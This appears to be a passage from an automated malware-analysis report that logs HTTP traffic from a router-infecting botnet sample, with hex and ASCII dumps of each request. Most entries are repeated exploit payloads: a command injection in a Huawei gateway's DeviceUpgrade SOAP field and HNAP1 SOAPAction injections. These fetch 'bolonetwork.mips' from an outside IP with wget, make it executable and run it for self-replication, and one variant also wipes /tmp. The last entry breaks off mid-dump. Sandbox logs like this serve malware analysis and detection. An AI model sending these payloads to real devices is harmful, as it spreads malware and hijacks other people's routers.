Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 